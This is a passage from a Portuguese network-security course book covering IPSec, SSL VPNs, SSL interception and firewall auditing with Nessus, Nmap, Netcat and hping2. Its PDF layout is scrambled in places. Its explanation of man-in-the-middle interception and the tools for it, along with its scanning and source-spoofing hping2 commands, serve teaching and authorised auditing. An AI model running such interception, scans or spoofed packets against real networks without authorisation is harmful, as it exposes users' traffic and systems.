11 Cipher Feedback (CFB).

11 Output Feedback (OFB).

11 Counter (CTR).

Cifragem stream – realiza a cifragem de bits. Não há a necessidade de aguardar a formação


de um bloco.

11 RC4.

11 A5/1 (usado em redes GSM de telefonia celular).

Modo de transporte – oferece proteção principalmente para os protocolos das camadas


superiores, mas não permite suporte a alguns serviços de rede, como multicast.

Modo de túnel – oferece proteção a todo pacote IP.

O IPSec oferece dois modos de operação, sendo eles:

Figura 7.7 11 Modo de transporte: esse modo oferece proteção principalmente para os protocolos das
Pacote encapsulado camadas superiores. Esse modo de operação do IPSec criptografa todo o payload do
ESP no modo
transporte. pacote IP. Compatível com protocolos IP: UDP, TCP e ICMP.
Capítulo 7 - Redes Privadas Virtuais

Cabeçalho IP Cabeçalho ESP Cabeçalho TCP Dados Trailer ESP Autenticação ESP

Criptografado

Autenticado

Não protegido Não protegido

121
Modo de túnel: esse modo de operação oferece proteção a todo pacote IP. Todo o pacote
original viaja por um “túnel” de um ponto de uma rede IP para outro, e nenhum roteador ao
longo do caminho é capaz de examinar o cabeçalho IP interno.

Cabeçalho Cabeçalho Trailer


Novo cabeçalho IP Cabeçalho ESP Dados Autenticação ESP
IP TCP ESP

Criptografado

Autenticado

Não protegido Não protegido

Protocolos IPSec
O IPSec oferece serviços de segurança na camada de IP, permitindo que um sistema selecione Figura 7.8
protocolos de segurança exigidos, e determine os algoritmos necessários para os serviços, Pacote encapsulado
ESP no modo túnel.
colocando no lugar quaisquer chaves criptográficas exigidas para oferecer os serviços
solicitados. Dois protocolos podem ser usados para oferecer segurança: autenticação do
cabeçalho (AH) e um protocolo combinado de criptografia e autenticação, designado pelo
formato de pacote para esse protocolo, denominado Encapsulamento de Segurança do Payload
(ESP). Os serviços e suporte de cada protocolo IPSec seguem listados na tabela a seguir:

AH ESP ESP + AH

Controle de acesso Sim Sim Sim

Integridade sem conexão Sim Sim

Autenticação da origem Sim Sim

Rejeição de pacotes repetidos Sim Sim Sim


Tabela 7.1
Serviços de cada
Confidencialidade Sim Sim
protocolo IPSec.

O IPSec pode ser utilizado tanto para comunicação segura entre computadores (geralmente
no modo transporte), quanto para o estabelecimento de VPN (geralmente no modo túnel).
Alguns sistemas operacionais, como o Windows 2000, já possuem suporte nativo a IPSec, de
modo que é possível que todo o tráfego entre servidores seja criptografado. Normalmente
para utilizar IPSec, os roteadores presentes na rede devem suportar e entender o protocolo,
para poderem encaminhar corretamente os dados.

Encapsulating Security Payload (ESP)


Segurança de Redes e Sistemas

Estabelece mecanismos de garantia da privacidade e integridade do conteúdo, utilizando


técnicas de criptografia e código Hash, respectivamente. Na criptografia, normalmente são uti-
lizados algoritmos DES, 3DES ou AES. Para o código Hash são utilizadas funções MD5 ou SHA-1.

Authetication Header (AH)


Estabelece mecanismos de verificação da autenticidade e integridade de pacotes IP.
Normalmente, na verificação da autenticidade de pacotes, é calculado o Hash de HMAC
(Hash Message Authentication Code) usando funções de Hash MD5 ou SHA-1.

122
Cabeçalho ESP
11 Security Parameters Index (SPI).

11 Número sequencial.

11 Dados.

11 Padding.

11 Tamanho do Pad.

11 Próximo cabeçalho.

11 Dados para autenticação.

0-7 bit 8-15 bit 16-23 bit 24-31 bit

Security Parameters Index (SPI)

Sequence number

Payload data (variable)

Padding (0-255 bytes) Next header

Payload length Next header

Figura 7.9
Authentication data (variable)
Cabeçalho ESP.

O campo SPI possui um valor que identifica a associação de segurança (SA) de um tráfego
IPSec. O campo “Sequence number” possui um contador, que é incrementado a cada pacote
enviado, com o objetivo de proteger contra ataques replay, onde o atacante captura um
tráfego e o repete mais à frente. O payload contém o pacote original que está sendo
protegido pelo ESP. O “Padding” é utilizado para completar os dados de modo a caber no
tamanho de bloco do algoritmo de criptografia. “Pad Length” contém o tamanho do campo
anterior e “Next Header” indica o tipo do próximo cabeçalho.

Cabeçalho AH
11 Próximo cabeçalho.

11 Tamanho do payload.
Capítulo 7 - Redes Privadas Virtuais

11 Security Parameters Index (SPI).

11 Número sequencial.

11 Dados para autenticação.

123
0-7 bit 8-15 bit 16-23 bit 24-31 bit

Next header Payload length Reserved

Security Parameters Index (SPI)

Sequence number

Authentication data (variable) Figura 7.10


Cabeçalho AH.

No cabeçalho AH, alguns campos são invertidos em relação ao ESP, e não temos a cifragem
do pacote original. Os campos “Next header”, “SPI” e “Sequence number” possuem a mesma
finalidade dos correspondentes no cabeçalho ESP. O campo “Payload length” indica o
tamanho do cabeçalho AH.

Exercício de fixação 3 e
IPSec
Explique o que são ESP e AH no protocolo IPSec.

TLS e SSL Transport Layer Security e Security Sockets Layer são protocolos com diferenças bem
sutis. A especificação do SSL 3.0 é conhecida como SSL3, e do TLS 1.0 como TLS1 ou SSL 3.1.

VPN SSL
Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes remotas,
tendo como acesso qualquer tipo de conectividade à internet. Pode ser implementada via:

11 Cliente VPN SSL.

11 Navegador web.

11 Instalação simplificada do agente.

Quando precisamos de segurança apenas em uma aplicação específica, como navegação


na internet, envio de correio eletrônico e mensagens instantâneas, utilizamos a criptografia
na comunicação entre essas aplicações. As escolhas mais populares de criptografia para
esse cenário são TLS e SSL. Embora os dois protocolos tenham a mesma finalidade, existem TLS e SSL
diferenças sutis entre eles. Transport Layer Security
e Security Sockets Layer
Segurança de Redes e Sistemas

Ambos os protocolos suportam uma variedade de algoritmos de criptografia ou cifras para são protocolos com
realizar algumas funções, como a autenticação do servidor e do cliente, transmissão de cer- diferenças bem sutis.
A especificação do SSL
tificados e estabelecimento das chaves de sessão. Para a criptografia em massa dos dados, 3.0 é conhecida como
algoritmos simétricos são utilizados. Algoritmos assimétricos são utilizados para autenti- SSL3, e do TLS 1.0 como
cação e troca de chaves. O Hash é utilizado como parte do processo de autenticação. TLS1 ou SSL 3.1.

Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes remotas,
tendo como acesso qualquer tipo de conectividade à internet, sendo necessário apenas
um navegador da internet ou um software cliente instalado na máquina do usuário. Essa

124
flexibilidade permite às VPNs baseadas em SSL prover acesso de qualquer lugar a recursos
computacionais de uma empresa. Dessa forma, colaboradores de uma empresa podem
utilizar VPNs baseadas em SSL para ter acesso remoto a aplicações de uma empresa.

Existem algumas etapas no estabelecimento da sessão VPN SSL que podem ser descritas em
fases, conforme ilustra a figura a seguir:

1 2

Figura 7.11 Túnel VPN SSL


Estabelecimento
de uma sessão
5
VPN SSL.
3 4

1. Nesta fase, o equipamento do usuário estabelece uma conexão TCP na porta 443
do servidor.

2. O servidor SSL apresenta um certificado digital que contém a chave pública digitalmente
assinada por uma Autoridade Certificadora confiável.

3. O computador do usuário gera uma chave simétrica compartilhada entre as duas partes,
cliente e servidor.

4. A chave pública do servidor é utilizada para criptografar a chave compartilhada e trans-


mitir para o cliente. O software do servidor utiliza a chave privada para descriptografar
a chave compartilhada enviada pelo cliente. Assim que o servidor realizar esse processo,
ambos terão acesso à chave compartilhada.

5. A chave compartilhada então é utilizada para criptografar o dados transmitidos na sessão SSL.

O OpenVPN é um exemplo de software livre, que utiliza SSL para criar túneis VPN. Uma
vantagem das VPN SSL em relação ao IPSec é que a liberação do acesso através de um
firewall é bem mais simples, pois envolve apenas uma porta (443 TCP), que normalmente já
é liberada pra acessos www seguros (HTTPS).

Exercício de fixação 4 e
VPN SSL
Explique a diferença entre TLS e SSL.

Capítulo 7 - Redes Privadas Virtuais

Interceptação de tráfego SSL


11 Pode ser feita de forma ilegal ou com conhecimento do usuário.

11 Num contexto de ataque, identificamos como um ataque man-in-the-middle.

11 Dentro de uma organização, pode ser usada para garantir que a conexão está sendo
usada de forma correta e produtiva.

125
Modernamente, a maioria do tráfego HTTP que transita na web é feito através da porta 443,
usando o protocolo HTTPS. Essas conexões são protegidas por criptografia ponto-a-ponto
usando SSL ou TLS, que garante que apenas o emissor (cliente) e receptor (servidor) da men-
sagem irão tomar conhecimento de seu conteúdo. Todos os nós intermediários da conexão,
como firewalls, roteadores e gateways não terão como inspecionar esse conteúdo.

Esquematicamente, a inspeção de tráfego SSL se dá da seguinte forma:

Man-in-the-middle
(attacker)
2.
gh M
u SSL an-i
st hro ses n-th
e
n goe sio
n w -midd
tio iddle ith l
nec int e esta
C on the-m cer
t 3. end b
1. - in- i ke W
wit ebs ed lishe
n a l we s
ma k- er h it ite bsi
loo d us sS r
SL espo te
l e nt e n ) cer n
u e tifi ds
ud to th o flaw
Fra t cat
4. vered due e
i d
del epte
c
(ac
Certificate
authenticated
by private key www.website.com
End User

Operacionalmente, o ataque ocorre como se segue: Figura 7.12


Interceptação SSL
1. O cliente tenta iniciar uma conexão com o website remoto www.website.com. O atacante
engana o cliente de alguma forma (via ARP spoofing ou DNS poisoning) para convencê-lo
de que ele é, de fato, o gateway da rede ou o servidor destino. O atacante inicia uma
conexão SSL com o cliente se passando pelo servidor www.website.com.

2. O atacante inicia uma conexão com www.website.com se passando pelo cliente original,
de fato, repassando sua requisição feita no passo (1), usando HTTPS.

3. O website responde o atacante, crendo que ele é o cliente original.

4. O atacante responde o cliente, se passando pelo servidor, com a resposta enviada por
ele. Com efeito, o atacante mantém duas “pernas” de conexão SSL, uma entre cliente < >
atacante e outra entre atacante < > servidor.

Note que para o cliente “acreditar” que o atacante é de fato o servidor no passo (1), é neces-
sário que o certificado apresentado por ele seja válido, do ponto de vista do cliente.
O método mais usual para fazer isso é criar uma autoridade certificadora (CA) no atacante, e
reemitir certificados de servidor usando essa CA privada – juntamente com isso, instala-se
a chave pública da CA do atacante na lista de autoridades certificadoras raiz (Trusted Root
Certification Authorities) do navegador do cliente.

Do ponto de vista de um atacante, fica muito difícil, senão inviável, realizar um ataque em uma
Segurança de Redes e Sistemas

conexão criptografada. Para operacionalizar o ataque man-in-the-middle descrito anterior-


mente, é possível utilizar ferramentas como o sslstrip (https://moxie.org/software/sslstrip),
sslsplit (https://www.roe.ch/SSLsplit) ou mitmproxy (https://mitmproxy.org) para realizar
interceptação ofensiva de tráfego SSL, permitindo ao atacante enganar o cliente e visualizar
o tráfego passante. As ferramentas diferem em suas capacidades e interfaces, mas no geral
todas são interessantes e amplamente utilizadas para esse fim.

126
Para inspecionar conexões HTTPS dentro de um ambiente corporativo, o proxy Squid
oferece, desde a versão 3.5, o módulo SSLBump Peek and Splice (https://wiki.squid-cache.
org/Features/SslPeekAndSplice). Esse módulo permite ao administrador de redes efetuar a
interceptação autorizada de tráfego SSL para inspeção através da reescrita de certificados
de servidor, e opera em dois modos principais:

11 Splice: atuar como um túnel SSL convencional, sem interceptar tráfego.

11 Bump: efetivamente implementar a técnica de man-in-the-middle, investigando o


tráfego passante.

O motivo pelo qual o Squid oferece essas duas possibilidades é, principalmente, por ques-
tões éticas: pode ser legítimo para um administrador ou empresa visualizar o tráfego HTTPS
do e-mail pessoal ou de redes sociais de um colaborador, mas certamente não é razoável
interceptar tráfego de transações bancárias privadas. O Squid toma essa decisão através da
observação do campo ClientHello::SNI ou Server Name Indication (uma espécie de equiva-
lente de nomes de domínio em virtual hosts convencionais).

Para entender em qual etapa da conexão SSL é possível fazer essa identificação, é impor-
tante entender como se dá o estabelecimento do handshake e da conexão SSL, ilustrado na
imagem a seguir:

150ms

Visitor Origin Server

SYN SYN ACK


TCP
50ms

ACK ServerHello
Certificate
ClienteHello
ServerHello Done

TLS ClientKeyExchange
100ms ChangeCipherSpec
ChangeCipherSpec
Finished
Finished

Figura 7.13 Request Response


Handshake SSL.

Observe que o ClientHello é enviado logo no primeiro pacote do cliente após o estabeleci-
mento da conexão TCP, como mostrado.
Capítulo 7 - Redes Privadas Virtuais

127
Segurança de Redes e Sistemas

128
8
Auditoria de Segurança
da Informação
Realizar uma auditoria com a ferramenta Nessus, diferenciar análise de vulnerabili-
objetivos

dades de testes de penetração e estudar conceitos relacionados à auditoria de


Segurança da Informação.

conceitos
Análise de vulnerabilidades, testes de penetração e auditorias de Segurança da
Informação com a ferramenta Nessus.

Introdução
Podemos definir auditoria como a medição de algo contra um padrão. Apesar de estarmos
tratando de Segurança da Informação, o conceito de auditoria pode ser aplicado em
qualquer área, como qualidade, ambiental, financeira, de conformidade etc.

Quando tratamos especificamente de auditoria de SI, podemos estar auditando o


cumprimento de uma política de segurança, a eficácia de um novo sistema de segurança
(como um firewall), se um sistema está com todas as correções conhecidas aplicadas, entre
outros. Nesta sessão de aprendizagem, estaremos tratando especificamente de auditoria
de segurança, utilizando ferramentas e técnicas para verificar se as implementações
de segurança realizadas nas sessões anteriores estão provendo o nível de segurança
especificado. Entre as técnicas utilizadas em auditorias, as mais comuns são a análise de
vulnerabilidades e os testes de penetração (penetration testing ou pentest). Capítulo 8 - Auditoria de Segurança
da Informação

É importante ressaltar que esta sessão trata apenas da auditoria de dispositivos de


segurança, sem entrar em questões de políticas, análise de risco e outros tópicos
relacionados à governança e normatização. Esses assuntos são tratados em detalhes no
curso Gestão da Segurança da Informação – NBR 27001 e NBR 27002, oferecido pela
Escola Superior de Redes.

Exercício de nivelamento 1 e
Auditoria de Segurança da Informação
O que você entende por auditoria de segurança da informação?

129
Como a auditoria de dispositivos de segurança é realizada na sua organização?

Análise de vulnerabilidades
Uma vulnerabilidade pode ser definida como uma brecha em um sistema computacional.
Quando tratamos de programas (software), essas vulnerabilidades são muitas vezes chamadas
de bugs. Um sistema vulnerável pode ser um software, um Sistema Operacional, um roteador, Bug
um protocolo ou até um hardware. Essas vulnerabilidades podem ser exploradas com o Falha ou vulnerabilidade
em um programa ou
intuito de subverter o sistema em questão, causando indisponibilidade, obtendo controle
sistema.
sobre ele, acessando dados sensíveis ou utilizando o sistema para atacar outros sistemas.

Existem diversos tipos de vulnerabilidades, sendo os mais comuns as vulnerabilidades de


software, causadas muitas vezes por validação insuficiente dos parâmetros recebidos, e as
vulnerabilidades em protocolos ou serviços. Essas vulnerabilidades podem levar a estouros
de pilha (buffer overflow), negação de serviços (DoS e DDoS), e até a acesso irrestrito ao DoS
sistema vulnerável. Denial of Service é a
negação ou indisponi-
Essas vulnerabilidades normalmente são descobertas por pesquisadores, que podem bilidade de um serviço
causada por um ataque.
ser da própria empresa que fabrica o produto ou pesquisadores independentes, que
DDoS
costumam notificar as empresas sobre a falha para que elas possam lançar correções antes
Distributed Denial of
da divulgação pública. Infelizmente, muitos administradores não aplicam as correções de
Service é o ataque de
segurança dos fabricantes nos sistemas sob sua administração, de modo que estes ficam negação de serviço
vulneráveis a falhas conhecidas e amplamente divulgadas. Uma forma eficiente de verificar realizado de forma dis-
tribuída e coordenada.
se uma rede, aplicação ou Sistema Operacional está suscetível a determinadas falhas é com
o uso de ferramentas de análise de vulnerabilidades.

Essas ferramentas utilizam assinaturas ou regras que simulam falhas conhecidas e pro-
duzem um relatório com os problemas encontrados e possíveis soluções. É importante,
porém, salientar que a análise de vulnerabilidade não substitui o controle da aplicação de
correções dos fabricantes dos produtos utilizados em uma organização, pois confiar na
ferramenta pode levar à não aplicação de uma correção caso ela esteja desatualizada ou
mesmo não tenha sido atualizada para verificar uma vulnerabilidade específica.

Como novas falhas são encontradas todos os dias, uma boa ferramenta de análise de vulne-
rabilidades deve ser constantemente atualizada, de modo que possa detectar as falhas mais
recentes descobertas. Existe atualmente uma série de ferramentas de análise de vulnerabilidades,
gratuitas e comerciais. Algumas ferramentas gratuitas/open source: Nmap, Nessus, OpenVas,
Microsoft MBSA; comerciais: Rapid7 NeXpose, eEye Retina, GFI LANguard, IBM Internet Scanner.

A seguir, detalharemos o uso da ferramenta Nessus, que é gratuita para fins não comerciais
Segurança de Redes e Sistemas

e pode ser obtida livremente na internet.

Exercício de fixação 1 e
Análise de vulnerabilidades
Como pode ser realizada uma análise de vulnerabilidades?

130
Instalação do Nessus
O Nessus é uma ferramenta de análise de vulnerabilidades, atualmente mantida pela
empresa Tenable Network Security. Apesar de originalmente ser uma ferramenta open
source, hoje a sua licença permite o uso gratuito apenas residencial e para treinamento.
O uso comercial necessita da aquisição de uma licença específica. Por conta dessas
mudanças, foi criado um novo produto, a partir da última versão livre do Nessus,
atualmente conhecido como OpenVAS. Por questões didáticas e pelo fato de estar mais
adequado ao laboratório prático, utilizaremos o Nessus nas atividades.

Para instalar o Nessus é necessário baixar o pacote específico para o Linux Debian, utilizado
no laboratório, uma vez que a versão mais recente ainda não se encontra disponível nos
repositórios para instalação com apt-get. O download do Nessus pode ser feito no seguinte
endereço: https://www.tenable.com/downloads/nessus.

A instalação segue os seguintes passos:

1. Baixe o pacote para Debian 6,7,8 ou 9 (amd64) no site indicado.

2. Instale o pacote com o comando dpkg –i <nome do pacote>. A instalação pode demorar
um pouco, seja paciente.

3. Acesse o endereço https://www.tenable.com/products/nessus-home para obter uma


chave de registro. Para registrar o Nessus para uso doméstico, será necessário fornecer
um endereço de correio eletrônico, para que a chave seja enviada. No e-mail recebido,
encontra-se referência ao comando necessário para inserir a chave na ferramenta:
/opt/nessus/bin/nessus-fetch --register <chave de ativação>.

4. Execute o comando /opt/nessus/sbin/nessus-adduser para criar um usuário com direitos


de administrador para o Nessus.

Por fim, inicie o Nessus com o comando /etc/init.d/nessusd start.


FWGW1:~# /opt/nessus/sbin/nessus-adduser
Login : rnp
Login password :
Login password (again) :
Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc...) (y/n) [n]: y
User rules
----------
nessusd has a rules system which allows you to restrict the hosts
that rnp has the right to test. For instance, you may want
him to be able to scan his own host only.
Capítulo 8 - Auditoria de Segurança
da Informação
Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)

Login : rnp
Password : ***********
This user will have ‘admin’ privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y] y
User added

131
Auditoria com o Nessus
Instalação:

11 Baixar o pacote.

11 Instalar o pacote (dpkg –i <pacote>).

11 Obter chave de registro.

11 Criar um usuário no Nessus.

11 Iniciar o Nessus.

Auditoria:

11 Criação de uma política e de uma varredura.

Iniciando a varredura
Para realizar uma auditoria, necessitamos inicialmente acessar o servidor Nessus no
endereço: https://<servidor_nessus>:8834

Entre com o usuário e a senha, criados nas etapas anteriores. Ao entrar, você verá o
dashboard do programa, como se segue:

Figura 8.1
Dashboard
do Nessus.
Segurança de Redes e Sistemas

Para criar um novo scan, clique no botão New Scan no canto superior direito da tela. Neste
exemplo, iremos escanear a máquina LinServer (172.16.G.10).

132
Figura 8.2
Realizando scan
no Nessus.

Após criar o scan, execute-o clicando num botão que parece um ícone de play. O Nessus
iniciará o scan da máquina remota. Ao final, você verá uma tela de resultados, como se segue:

Capítulo 8 - Auditoria de Segurança


da Informação

Figura 8.3
Visualizando
resultados do scan.

Observe que o apontamento mostra diversas vulnerabilidades, categorizadas por


criticidade. Na aba Vulnerabilities, é possível investigar vulnerabilidades específicas,
visualizar seus CVEs associados, bem como medidas corretivas a serem tomadas.

133
Figura 8.4
Investigando
vulnerabilidades
específicas.

Exemplo de auditoria em firewall


O horário do firewall está correto? Ele está sendo sincronizado com uma fonte de
tempo confiável?

Como foi dito, auditoria de segurança é um assunto vasto. Podemos auditar um perímetro,
uma rede, um Sistema Operacional, uma aplicação ou um ativo de rede específico como
um roteador, switch, hub. Nesta sessão veremos um exemplo de auditoria em um firewall.
Normalmente uma auditoria é realizada com base em uma norma ou boas práticas em
segurança. Neste exemplo estaremos realizando uma auditoria frente às boas práticas.

Podemos destacar alguns aspectos que serão analisados nesta auditoria:

11 Arquitetura do firewall.

11 Testando o firewall.

11 Testando as regras do firewall.

11 Alertas e registros.

Arquitetura do firewal
Neste ponto da auditoria, estamos preocupados se a arquitetura definida realmente
Segurança de Redes e Sistemas

cumpre os objetivos que foram definidos. O auditor deve verificar as seguintes questões,
entre outras:

11 Diferentes redes ligadas ao firewall estão fisicamente separadas?

11 Existem hubs sendo usados na rede? (Hubs podem ter todo o tráfego que passa
por ele monitorado).

11 Como o firewall está controlando o fluxo de informação?

11 O diagrama lógico do perímetro está correto?

134
11 A segmentação realizada é suficiente?

22 Deve-se adicionar ou remover um firewall?

22 Deve-se adicionar ou remover interfaces de rede?

Testando o firewall
Existem recursos de segurança específicos para a plataforma que está sendo auditada?
Eles estão bem configurados?

Existem duas categorias diferentes de firewall: os que rodam em cima de um Sistema


Appliance Operacional e os chamados appliances, que são equipamentos específicos que fazem o
Serviço que executa papel de firewall (exemplo: um switch com firewall embutido, um roteador com filtros de
dentro de um hardware pacotes, um firewall embutido em uma caixa física).
dedicado e otimizado
para a aplicação Cada tipo tem suas vantagens e desvantagens: os baseados em sistemas operacionais são
em questão.
mais flexíveis, porém são suscetíveis a vulnerabilidades no Sistema Operacional usado;
os appliances são normalmente mais seguros “de fábrica”, porém normalmente são
proprietários e será preciso confiar no fabricante no que tange à segurança.

Neste ponto da auditoria, as seguintes questões são importantes:

11 Quais serviços estão executando no firewall? Eles são necessários? Eles são seguros?

11 Existem correções de segurança que podem ser aplicadas no appliance ou no


Sistema Operacional?

11 Quais as recomendações básicas de configuração do fabricante? Elas foram aplicadas?

11 Existem acessos de administrador ao firewall? Eles estão com o mínimo de


permissão possível?

11 Uma ferramenta de auditoria relata algum problema com o firewall?

11 Existem recursos de segurança específicos para a plataforma que está sendo auditada?
Eles estão bem configurados?

Testando as regras do firewall


As bases de regras de um firewall costumam crescer com o tempo, por conta de solicitações
de inclusão de novos servidores e novos serviços oferecidos na rede, e também de conexões
com novas redes. Após alguns meses de manutenção das regras de um firewall, elas podem
se tornar bastante complexas. Essa complexidade pode esconder regras redundantes, isto
é, regras temporárias que nunca foram removidas ou até mesmo regras incorretas que Capítulo 8 - Auditoria de Segurança
da Informação
ficaram esquecidas.

O auditor deve analisar as regras do firewall, de modo a encontrar e eliminar essas


inconsistências, além de procurar simplificar as regras para facilitar uma visualização futura.
A ideia final é minimizar ao máximo a quantidade de regras. Essa redução não só tornará o
seu firewall mais simples, como mais rápido, visto que terá menos regras para processar.

A seguir algumas considerações que devem ser avaliadas pelo auditor:

11 Eliminar regras desnecessárias.

11 Combinar regras repetitivas.

11 Eliminar regras não autorizadas.

11 Terminar com o mínimo possível de regras.

135
11 Documentar as regras.

11 Verificar regras que realizam registros de acesso:

22 Somente registrar o necessário.

22 Registros excessivos podem ocupar muito espaço e diminuir o desempenho.

11 Verificar a existência de regras de bloqueio padrão.

11 Verificar se as regras são específicas.

22 Princípio do menor privilégio.

11 Utilizar ferramentas de varredura para validar as regras, como Nmap.

O Nmap é uma ferramenta simples e prática para validar regras de firewall, verificar as
portas abertas de um servidor ou até avaliar os serviços em uma rede inteira. Suporta
diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), M (Maimon), U (UDP),
N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP), O (IP protocol).

Neste exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro
a rede 192.168.1.0/24, que corresponde ao endereço classe C 192.168.1.0 (máscara
255.255.255.0). Note que o Nmap apresenta apenas os endereços IP que estão disponíveis,
mostrando as portas abertas em cada servidor.

Alguns parâmetros interessantes do Nmap:

11 -O – realiza uma tentativa de detectar o Sistema Operacional da máquina analisada.

11 -P0 – realiza a varredura da máquina, mesmo que ela não responda ao ping. Útil em
servidores que estão sendo filtrados por firewalls.

11 -v – aumenta a quantidade de informação apresentada.

11 -s<tipo> – tipo de varredura utilizada; algumas varreduras procuram evitar que o sistema
destino registre as tentativas de acesso.

Um exercício interessante é realizar scans utilizando diversos tipos diferentes e verificar


o tipo de registro que aparece no servidor remoto. A seguir outro exemplo do Nmap,
agora utilizando a opção –O, que procura adivinhar a versão do Sistema Operacional do
sistema-destino:

macbook-pro-de-ivo-peixinho:~ root# nmap 192.168.1.1 -O


Starting Nmap 5.00 (http://nmap.org) at 2010-12-30 18:07 BRT.
Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
5431/tcp open park-agent
MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)
Device type: general purpose
Running: Linux 2.6.X
Segurança de Redes e Sistemas

OS details: Linux 2.6.13 - 2.6.27


Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/.


Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds

Verifique que o Nmap detectou o Sistema Operacional como Linux, porém o MAC Address se
refere à empresa TP-Link. Com um pouco de investigação, chegaremos à conclusão de que
se trata de um modem ADSL, da marca TP-Link, que provavelmente executa uma versão do

136
Sistema Operacional Linux. Um Telnet na porta 23, que está aberta, já nos fornece uma pista
importante:

macbook-pro-de-ivo-peixinho:~ root# telnet 192.168.1.1


Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is ‘^]’.
BCM96338 ADSL Router
Login:

Por fim, uma execução do Nmap, para realizar um FIN scan:

macbook-pro-de-ivo-peixinho:~ root# nmap -sF 192.168.1.1

Starting Nmap 5.00 (http://nmap.org) at 2010-12-30 18:15 BRT


Warning: Unable to open interface vboxnet0 -- skipping it.
Warning: Unable to open interface vmnet1 -- skipping it.
Warning: Unable to open interface vmnet8 -- skipping it.
Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open|filtered telnet
80/tcp open|filtered http
5431/tcp open|filtered park-agent
MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds

Outra ferramenta interessante para testar configuração de firewall é a ferramenta Netcat.


Ela é conhecida como o “canivete suíço” das redes, devido à sua versatilidade. Imagine que
desejamos testar se a porta 3500 TCP está disponível em um determinado servidor, porém
não temos nenhum serviço em execução nesta porta. Com o Netcat, podemos registrar um
serviço nesta porta:

root# nc -l 3500

Em outra estação, podemos realizar uma conexão com o servidor, na porta 3500:

root# nc 192.168.1.6 3500

Dessa forma, caso o tráfego esteja permitido, tudo o que escrevermos na estação será Capítulo 8 - Auditoria de Segurança
da Informação
apresentado no servidor. Por fim, temos a ferramenta Hping2, que permite enviar pacotes
arbitrários para uma máquina remota. No exemplo a seguir, vamos utilizar o Hping2 para
enviar pacotes TCP para a porta 443 do servidor 192.168.1.1, com a flag SYN habilitada:

ivocarv$ sudo hping2 192.168.1.1 -S -V -p 443


using en1, addr: 192.168.1.6, MTU: 1500
HPING 192.168.1.1 (en1 192.168.1.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.1.1 ttl=64 DF id=3656 tos=0 iplen=40
sport=443 flags=RA seq=0 win=0 rtt=3.0 ms
seq=0 ack=1787010098 sum=ab1a urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3657 tos=0 iplen=40


sport=443 flags=RA seq=1 win=0 rtt=2.1 ms
seq=0 ack=235069102 sum=af34 urp=0

137
len=46 ip=192.168.1.1 ttl=64 DF id=3658 tos=0 iplen=40
sport=443 flags=RA seq=2 win=0 rtt=3.0 ms
seq=0 ack=1716272813 sum=657c urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3659 tos=0 iplen=40


sport=443 flags=RA seq=3 win=0 rtt=2.0 ms
seq=0 ack=184330740 sum=6d6c urp=0

Caso desejamos habilitar a flag ACK, basta adicionar o parâmetro –A:

ivocarv$ sudo hping2 192.168.1.1 -S -V -A -p 80


using en1, addr: 192.168.1.6, MTU: 1500
HPING 192.168.1.1 (en1 192.168.1.1): SA set, 40 headers + 0 data bytes
len=46 ip=192.168.1.1 ttl=64 DF id=3661 tos=0 iplen=40
sport=80 flags=R seq=0 win=0 rtt=2.1 ms
seq=15376070 ack=0 sum=6984 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3662 tos=0 iplen=40


sport=80 flags=R seq=1 win=0 rtt=2.1 ms
seq=701031830 ack=0 sum=ba14 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3663 tos=0 iplen=40


sport=80 flags=R seq=2 win=0 rtt=2.2 ms
seq=1666713083 ack=0 sum=c4ba urp=0

Por fim, vamos enviar pacotes UDP na porta 53, alterando o endereço de origem para o
endereço 192.168.1.150:

ivocarv$ sudo hping2 192.168.1.1 --udp --spoof 192.168.1.150 -p 53


HPING 192.168.1.1 (en1 192.168.1.1): udp mode set, 28 headers + 0 data bytes
^C
--- 192.168.1.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss

Todas as ferramentas indicadas podem ser instaladas a partir do apt-get do Debian ou


baixadas do site de cada ferramenta (Netcat, Hping, Nmap). Algumas delas também
possuem versões para Windows, Mac OS X e outras plataformas.

Exercício de fixação 1 e
Arquitetura do firewall
Que tópicos devem ser verificados na auditoria da arquitetura do firewall?
Segurança de Redes e Sistemas

Exercício de fixação 2 e
Testando o firewall
Quais são as questões importantes que devem ser verificadas no teste do firewall?

138
Explique como devem ser realizadas as regras do firewall. O que deve ser observado?

Alertas e registros
Registros e alertas são itens importantes em uma política de segurança; porém, se eles não
são vistos periodicamente pela equipe responsável, de nada adiantam. Firewalls com muitos
registros sendo gerados podem ser facilmente esquecidos pelo administrador, que fica
perdido entre tantos dados.

Alertas podem ser configurados para envio por e-mail ou SMS, de modo que possam ser
mais facilmente vistos pelo administrador. Revisar os registros periodicamente pode ser útil
para detectar tentativas de ataque e permitir aos responsáveis a tomada de ações proativas.

Algumas recomendações que devem ser observadas pelo auditor:

11 Os registros de log estão precisos? Estão sendo gerados mais registros do que o necessário?

11 Existe procedimento para analisar os alertas? Eles são enviados para um local de
rápida verificação?

11 Os registros estão em local seguro?

11 O horário do firewall está correto? Ele está sendo sincronizado com uma fonte de
tempo confiável?

Por fim, verificamos que a tarefa de auditoria não é uma tarefa simples. Apesar de existirem
ferramentas que auxiliam o auditor em algumas questões, elas não resolvem todos os pro-
blemas. Bom senso e conhecimento ainda são fundamentais. Durante as atividades práticas,
vamos exercitar o uso do Nessus e teremos oportunidade de utilizar as demais ferramentas
